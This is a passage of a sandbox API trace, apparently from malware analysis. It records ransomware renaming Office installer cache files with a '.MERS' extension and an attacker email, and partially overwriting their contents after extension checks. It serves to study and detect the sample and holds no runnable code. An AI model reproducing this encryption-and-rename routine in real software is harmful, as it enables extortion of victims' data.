(lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.162] lstrlenW (lpString=".dbf") returned 4 [0043.162] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.162] lstrlenW (lpString=".1cd") returned 4 [0043.162] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.162] lstrlenW (lpString=".jpg") returned 4 [0043.162] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.163] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0043.163] lstrlenW (lpString="VisioLR.cab") returned 11 [0043.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.163] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=50823389) returned 1 [0043.163] CloseHandle (hObject=0x1a4) returned 1 [0043.163] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0043.163] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.163] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.164] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.164] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0043.164] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.164] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.271] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.271] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.299] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.299] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.299] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.346] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.346] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0043.360] SetEndOfFile (hFile=0x1a4) returned 1 [0043.361] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0043.361] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.361] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.361] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.361] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.362] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.362] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.364] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0043.364] CloseHandle (hObject=0x1a4) returned 1 [0043.364] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.364] lstrlenW (lpString=".doc") returned 4 [0043.364] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.364] lstrlenW (lpString=".docx") returned 5 [0043.364] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.364] lstrlenW (lpString=".pdf") returned 4 [0043.365] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".xls") returned 4 [0043.365] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".xlsx") returned 5 [0043.365] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.365] lstrlenW (lpString=".ppt") returned 4 [0043.365] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.365] lstrlenW (lpString=".zip") returned 4 [0043.365] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".rar") returned 4 [0043.365] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".bz2") returned 4 [0043.365] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.365] lstrlenW (lpString=".7z") returned 3 [0043.365] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.365] lstrlenW (lpString=".dbf") returned 4 [0043.365] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.365] lstrlenW (lpString=".1cd") returned 4 [0043.365] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.365] lstrlenW (lpString=".jpg") returned 4 [0043.365] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.365] lstrlenW (lpString=".doc") returned 4 [0043.365] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".docx") returned 5 [0043.365] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.365] lstrlenW (lpString=".pdf") returned 4 [0043.365] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".xls") returned 4 [0043.365] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.365] lstrlenW (lpString=".xlsx") returned 5 [0043.365] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.365] lstrlenW (lpString=".ppt") returned 4 [0043.366] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.366] lstrlenW (lpString=".zip") returned 4 [0043.366] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.366] lstrlenW (lpString=".rar") returned 4 [0043.366] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.366] lstrlenW (lpString=".bz2") returned 4 [0043.366] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.366] lstrlenW (lpString=".7z") returned 3 [0043.366] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.366] lstrlenW (lpString=".dbf") returned 4 [0043.366] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.366] lstrlenW (lpString=".1cd") returned 4 [0043.366] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.366] lstrlenW (lpString=".jpg") returned 4 [0043.366] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.366] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0043.366] lstrlenW (lpString="OnoteLR.cab") returned 11 [0043.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.438] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17456632) returned 1 [0043.438] CloseHandle (hObject=0x1f0) returned 1 [0043.438] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0043.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.439] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.439] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0043.439] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.439] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.645] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.645] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.835] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.835] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.835] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.016] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.016] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0044.032] SetEndOfFile (hFile=0x1f0) returned 1 [0044.032] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0044.032] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.033] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.033] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.033] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.034] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.034] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.036] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0044.036] CloseHandle (hObject=0x1f0) returned 1 [0044.036] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.036] lstrlenW (lpString=".doc") returned 4 [0044.036] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.036] lstrlenW (lpString=".docx") returned 5 [0044.036] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.036] lstrlenW (lpString=".pdf") returned 4 [0044.036] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.036] lstrlenW (lpString=".xls") returned 4 [0044.036] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.036] lstrlenW (lpString=".xlsx") returned 5 [0044.036] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.036] lstrlenW (lpString=".ppt") returned 4 [0044.037] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString=".zip") returned 4 [0044.037] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString=".rar") returned 4 [0044.037] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString=".bz2") returned 4 [0044.037] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.037] lstrlenW (lpString=".7z") returned 3 [0044.037] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString=".dbf") returned 4 [0044.037] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString=".1cd") returned 4 [0044.037] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString=".jpg") returned 4 [0044.037] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString=".doc") returned 4 [0044.037] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString=".docx") returned 5 [0044.037] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.037] lstrlenW (lpString=".pdf") returned 4 [0044.037] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString=".xls") returned 4 [0044.037] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString=".xlsx") returned 5 [0044.037] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.037] lstrlenW (lpString=".ppt") returned 4 [0044.037] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.037] lstrlenW (lpString=".zip") returned 4 [0044.037] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.037] lstrlenW (lpString=".rar") returned 4 [0044.037] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.038] lstrlenW (lpString=".bz2") returned 4 [0044.038] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.038] lstrlenW (lpString=".7z") returned 3 [0044.038] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.038] lstrlenW (lpString=".dbf") returned 4 [0044.038] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.038] lstrlenW (lpString=".1cd") returned 4 [0044.038] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0044.038] lstrlenW (lpString=".jpg") returned 4 [0044.038] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.038] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0044.038] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0044.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.038] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2507776) returned 1 [0044.038] CloseHandle (hObject=0x1f0) returned 1 [0044.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0044.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.039] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0044.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.243] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0044.243] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.243] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.384] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.384] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.419] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.420] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.420] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.609] SetFilePointerEx (in: 